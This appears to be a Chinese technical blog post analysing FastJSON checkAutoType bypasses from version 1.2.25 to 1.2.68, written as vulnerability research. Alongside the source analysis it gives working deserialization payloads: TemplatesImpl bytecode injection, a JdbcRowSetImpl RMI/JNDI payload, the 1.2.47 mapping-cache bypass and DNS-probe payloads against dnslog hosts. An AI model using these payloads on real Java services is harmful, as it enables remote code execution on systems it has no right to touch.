FastJSON checkAutoType 绕过
FastJSON checkAutoType 绕过
本文章全程参考:Fastjson 反序列化历史漏洞分析 并做了一点补充。
在maven仓库中,FastJSON vulnerability 只被标注到 \(1.2.24\) 版本,也即是不对类型进行检查的最后一个版本。但本身还是能够找到很多可以被利用的点。
checkAutoType
1.2.25
FastJSON \(1.2.25-1.2.41\) 版本在反序列化时,添加了 checkAutoType
方法。
在 com.alibaba.fastjson.parser.ParserConfig
中有这么一个方法:
逻辑
开始会有个替换 $
为 .
的操作,是为了正确加载类内作用域定义的类(局部类),比如类 A
中定义了 B
,最终B会被编译为 A$B
,而在程序内的类名为 A.B
。
存在 acceptList
与 denyList
:
- 如果类名与
acceptList
其中一项的开始相符合,这加载该类; - 如果类名与
denyList
其中一项的开始相符合,这抛出异常JSONException("autoType is not support. " + typeName)
对于 autoTypeSupport
值为 true
时,会先与 acceptList
进行匹配;
对于 autoTypeSupport
值为 false
时,会先与 denytList
进行匹配;
而且最后如果加载的 Class
是 Classloader
或 DataSource
的类型或子类(实现类)的类型,也会抛出 JSONException
。
调用栈
checkAutoType:805, ParserConfig (com.alibaba.fastjson.parser)
parseObject:322, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
checkAutoType 方法会在 DefaultJSONParser
的 public final Object parseObject(final Map object, Object fieldName)
中被调用:
注:这个
JSON.DEFAULT_TYPE_KEY
就是字符串@type
。
也就是说如果json 键为 @type
且没有加入参数或 Feature.DisableSpecialKeyDetect
那么就会进入 checkAutoType
检查该类名是否在 acceptList
或 denyList
中。
注意:该方法在无Class参数的
parse
方法中被调用,所以对于指定了Class
的parse
不会调用此方法。
acceptList 与 denyList 的初始化
这两个列表被定义在 ParserConfig
中,通过静态代码快在载入时初始化:
autoTypeSupport
由 getStringProperty
获取,最终从 System.getProperty
或 DEFAULT_PROPERTIES.getProperty
获取(如果 System.getProperty
获取值为 null
的话)。
denyList
String[] denyList
被定义与 com.alibaba.fastjson.parser.ParserConfig
中,包含一个初始值:
private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
即:
bsh,com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel,org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat,org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate,org.jboss
org.mozilla.javascript
org.python.core,org.springframework
部分是具体的类,部分是包
注意:可以看到
denyList
中包含com.sun
,故com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
与com.sun.rowset.JdbcRowSetImpl
利用链在该版本以及之后就不可用了。
在 ParserConfig
的构造方法最后会调用 addItemsToDeny(DENYS)
,即将 DENYS
中的元素添加进 denyList
中;
而 String[] DENYS
是在静态代码块中赋值的,通过 getStringProperty(DENY_PROPERTY)
来获取属性值;如果无法从 System.getProperty
获取,这从自定义的 DEFAULT_PROPERTIES
中获取;
获取属性值 property
之后 ,便通过 splitItemsFormProperty(property)
确定 DENYS
元素列表。
将该属性值以 ,
分割,就为 DENYS
(可能为null)。最终元素都会被添加到 denyList
中。
其实从这里就可以看出,列表就是单纯依靠
,
分割的,多一个空格都不行。
当然 ParseConfig
提供了addDeny(String)
方法,以便将类名添加进 denyList
;
注:全局
ParserConfig
对象可以通过ParserConfig.getGlobalInstance
方法获取。
acceptList
初始化方式与 denyList
类似;不同的是,该列表初始为空列表,之后通过 String [] AUTO_TYPE_ACCEPT_LIST
确定元素。
而 AUTO_TYPE_ACCEPT_LIST
也是通过获取 property:fastjson.parser.autoTypeAccept
的值并以 ,
分割得到的;如果返回值为 null
,这最终为空列表。
例:未设置相应属性值的正常情况下的 PaserConfig
实例:
例:在 FastJSON \(1.2.25\) 中,自定义 item.Value
, 如果不设置系统属性值,则会抛出 com.alibaba.fastjson.JSONException: autoType is not support. item.Value
;设置 fastjson.parser.autoTypeAccept
属性之后,可解决该问题
package item;
public class Value {
public Value(){}
public int getV() {return 1;}
public void setV(int v) {}
}
@Test
public void property() {
System.setProperty("fastjson.parser.autoTypeAccept", "niss,whatever,item")
Object i = new Value();
String payload = JSON.toJSONString(i, SerializerFeature.WriteClassName);
System.out.println(payload);
Object o = JSON.parseObject(payload);
System.out.println(o);
}
{"@type":"item.Value","v":1}
{"v":1}
例:在 FastJSON \(1.2.25\) 中,使用 TemplatesImpl
利用链是会抛出 JSONException: autoType not support
的,但是设置如下系统属性就可成功执行反序列化PoC:
System.setProperty("fastjson.parser.autoTypeSupport", "true");
System.setProperty("fastjson.parser.autoTypeAccept", "com.sun");
注意:由于这几个属性都是静态代码块生成的,所以需要在FastJSON相关类被载入之前就设置属性。
当然 ParseConfig
提供了addAccept(String)
方法,以便将类名添加进 acceptList
;
关于 autoTypeSupport
值的设置,ParserConfig
提供了 setAutoTypeSupport(bool)
方法;
绕过方式
查看 checkAutoType
方法,匹配到 acceptList
的类名最终作为 TypeUtils.loadClass
的参数。
TypeUtils.loadClass 方法
也就是以 [
开头 或者 以L
开头且以 ;
结尾 的类名会被去掉字符后,在通过类名载入对应类。
为了绕开 DENY
匹配,可以将待反序列化json中 @type
的值添加相应字符,即可。
注意:由于
[
会被检测为json数组开始,所以一般用L
+;
。
但是 checkAutoType
方法的最后:当 autoTypeSuppoer
为 false
时,会始终抛出 JSONException
,所以要以该方式绕过,则需要将其设置为 true
:
注意:发现
loadClass
按照递归处理,所以要修改 json 中的每个键值对的@type
值。
例:
System.setProperty("fastjson.parser.autoTypeSupport", "true");
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
byte[] bytes = Files.readAllBytes(new File("target/classes/exploit/TransletExecutor.class").toPath());
String encoded = "\""+new String(Base64.getEncoder().encode(bytes))+"\"";
String data = "{\"@type\":\"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\"," +
"\"_bytecodes\":["+encoded+"]," +
"\"_name\":\"a.b\"," +
"\"_tfactory\":{}," +
"\"_outputProperties\":{}\n}";
JSON.parseObject(data,Feature.SupportNonPublicField);
该方法对 \(1.2.25\leq version \leq 1.2.41\) 有效。
1.2.42 哈希列表
FastJSON \(1.2.42\)
该版本以及之后版本中, acceptList
与 denyList
变成了 private long[] denyHashCodes
与 private long[] acceptHashCodes
,而且 denyHashCodes
为:
之后所有的类名会经过 TypeUtils.fnv1a_64
方法处理变为long之后,存入对应列表中。
其他并没有大变化,这包括这些静态变量的初始化过程:
而且该系列版本在匹配 acceptHashCodes
或 denyHashCodes
之前就去除了 [
、或 (L
与;
)。
例:由于这些静态列表初始化时还是依赖于 System.Property
所以,通过设置系统属性值依旧有效
System.setProperty("fastjson.parser.autoTypeSupport", "true");
// 或 ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
System.setProperty("fastjson.parser.autoTypeAccept", "com.sun");
// 或 ParserConfig.getGlobalInstance().addAccept("com.sun");
byte[] bytes = Files.readAllBytes(new File("target/classes/exploit/TransletExecutor.class").toPath());
String encoded = "\""+new String(Base64.getEncoder().encode(bytes))+"\"";
String data = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":["+encoded+"]," +
"\"_name\":\"a.b\"," +
"\"_tfactory\":{}," +
"\"_outputProperties\":{}\n}";
JSON.parseObject(data,Feature.SupportNonPublicField);
主要是中间做了一些改变:
发现之前初始化时对列表排序,是为了在这使用二分查找 🧐。
会发现在与列表匹配之前,有一段去字符的代码,通过猜测发现其作用正是去掉开头的 L
与结尾的 ;
:
((((0xcbf29ce484222325L ^ 'L') * 0x100000001b3L) ^ ';') * 0x100000001b3L) == 0x9198507b5af98f0L
true
黑白名单破解
github项目:https://github.com/LeadroyaL/fastjson-blacklist
通过对包名、类名做同样的算法处理,与其进行匹配,还原了部分 hashCode
对应的 String
。
绕过方式
由于在之前就被去掉一次字符(如果字符匹配的话),而且调用 TypeUtils.loadClass
方法时会再次去掉一次,所以双写相应字符即可:
- 双写
ClassName
==>LLClassName;;
例:
System.setProperty("fastjson.parser.autoTypeSupport", "true");
// 或 ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
byte[] bytes = Files.readAllBytes(new File("target/classes/exploit/TransletExecutor.class").toPath());
String encoded = "\""+new String(Base64.getEncoder().encode(bytes))+"\"";
String data = "{\"@type\":\"LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;\"," +
"\"_bytecodes\":["+encoded+"]," +
"\"_name\":\"a.b\"," +
"\"_tfactory\":{}," +
"\"_outputProperties\":{}\n}";
JSON.parseObject(data,Feature.SupportNonPublicField);
由于之前版本最多去除一次字符,该方式只对 \(1.2.42\) 版本有效。
1.2.43 对LL的检测
LL
字符抛异常
FastJSON \(1.2.43\)
在该版本中,在 checkAutoType
增加了开头的 LL
匹配:
(((0xcbf29ce484222325L^'L')* 0x100000001b3L)^'L')*0x100000001b3L == 0x9195c07b5af5345L
true
如果 className
前两个字符为 LL
,这抛出异常。
绕过方式
mybatis
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
在 \(1.2.46\) 版本才被加入到黑名单,所以如果服务端依赖于 Mybatis
,可以利用该调用链。
数组
由于 [
开头的 ClassName 表示数组类型,且观察下面的json:
{
"@type":"[com.sun.rowset.JdbcRowSetImpl",
}
抛出的异常说明:对于 JdbcRowSetImpl
类型的数组, FastJSON 预期 [
但是获得了 ,
:
也就是说明对于这种 Object数组的json的形式可能为:
{
"@type":"[ClassName"[
{
},
{
},
...
]
}
例:验证猜想
@Test
public void test(){
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String data = "{\n" +
"\t\"@type\":\"[item.Value\"[\n" +
" {\n" +
" \"v\":1, \n" +
" },\n" +
" {\n" +
" \"v\":2,\n" +
" }\n" +
" ]\n" +
"}";
System.out.println(JSON.parse(data));
}
发现调用了两次 construct
与 set
方法,说明确实进行了两次实例化;但是发现异常说明中有:多出了一个 }
,所以正确形式为:
{
"@type":"LClassName"[
{
},
{
},
...
]
这也证明了之前版本的绕过中,也可以用开头添加
[
的方式进行绕过,而不会被认为是错误的“开始符”。
所以可以构造 payload:
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[
{
"dataSourceName":"rmi://127.0.0.1:1099/exec",
"autoCommit":true
},
]
该 payload 对 \(\leq 1.2.43\) 都有效。
1.2.44 匹配 [ClassName
或 LClassName;
在 FastJSON \(1.2.44\) 版本中的 checkAutoType
方法中新增:
(0xcbf29ce484222325L^'[')*0x100000001b3L == 0xaf64164c86024f1aL
true
(((0xcbf29ce484222325L^'L')*0x100000001b3L)^';')*0x100000001b3L == 0x9198507b5af98f0L
true
可见 [
开头或者 L
开头、;
结尾的绕过方式已经无效了。
绕过方式
mybatis利用链,该版本还没被禁用。
1.2.47 mapping 写入
payload:
[
{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:1099/exec",
"autoCommit":true
}
]
该方式对 FastJSON \(\leq 1.2.47\) 版本都生效,且不需要开启
autoTypeSupport
。
过程分析
由于 java.lang.Class
不在黑、白名单中,在 checkAutoType
方法中会进入 TypeUtils.getClassFromMapping(typeName)
:
而该方法会尝试从一个 TypeUtils
中的 ConcurrentMap<String,Class<?>> mappings
取对应的类,但实际上是没有的,进入 deserializers.findClass(typeName)
:
IdentityHashMap
(deserialisers
的类型)#findClass
方法被调用:
buckets中存放了一些 java.lang
、java.util
、java.net
等常用类,其中包括 java.lang.Class
,最终会被返回。
回到 checkAutoType
中,只要 expectClass
为null或是HashMap类型,或为expectClass的子类,都会直接返回:
DefaultJSONParser
返回至 DefaultJSONParser
#parseObject(final Map object, Object fieldName)
方法,运行到:
会通过返回的 Class 对象获取一个 ObjectDeserializer
,并调用 deserialze
方法反序列化。
deserialze
该方法好像是用于监测一些特殊类,并监测对应的特殊字段:
例:
该方法会不断地接受json字符,并解析将值赋给 objVal
(如果json键不是 val
会抛出异常):
之后如果 objVal
是String类型,则会将其赋给 strVal
:
有一步会判断如果传入的 clazz
是 Class
类型,那么就回去加载 strVal
表示的类,并返回:
注意:这里会对很多类型进行检测,并生成相应的对象:
UUID
=>UUID.fromString(strVal)
URI
=>URI.create(strVal)
URL
=>new URL(strVal)
Pattern
=>Pattern.compile(strVal)
InetAddress/Inet4Address/Inet6Address
=>InetAddress.getByName(strVal)
File
=>new File(strVal)
...
这个
strVal
就是json中的val
的值。其中可以看到有网络相关的,可以利用如下payload 进行DNS探测:
{ "@type":"java.net.InetAddress", "val":"yeeabi.dnslog.cn" }
{"@type":"java.net.InetAddress","val":"dnslog"} {"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"} {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}} {{"@type":"java.net.URL","val":"http://dnslog"}:"x"} {"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://dnslog"}}""} Set[{"@type":"java.net.URL","val":"http://dnslog"}] Set[{"@type":"java.net.URL","val":"http://dnslog"} {{"@type":"java.net.URL","val":"http://dnslog"}:0 https://github.com/alibaba/fastjson/issues/3841 最新版 1.2.76 开启safeMode {"ss":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://xxx.dnslog.cn"}}""},}
可以看到 json中 val
表示的类会被成功加载:
TypeUtils#loadClass
TypeUtils
#loadClass
中,如果 cache
为真,这会将加载的类添加进 mapping
中:
此时payload中的第二个项的类已经在 mapping
中了!
真正的恶意类的反序列化
接下来到了对 JdbcRowSetImpl
的 checkAutoType
中了:
由于从此时可以从 TypeUtils.getClassFromMapping
成功找到该类,即使在 denyHashCodes
中匹配,下面的条件也不会成立:
再调用一次TypeUtils.getClassFromMapping
,返回该类之后,就是对该类的实例化以及属性写入了。
1.2.68 safeMode
FastJSON \(1.2.68\)
一些变动
加入 INTERNAL_WHITELIST_HASHCODES
作为额外的白名单:
方法开始会使用 ParserConfig
内部定义的接口 AutoTypeCheckHandler
去处理(为null跳过);
checkAutoType
会检验 Feature.SafeMode
,如果提供了则直接抛异常 JSONEXception(safeMode not support autoType : typeName)
:
在 DefaultJSONParser
中也做了修改,无法使用Class的val将类写入mapping了。
参考: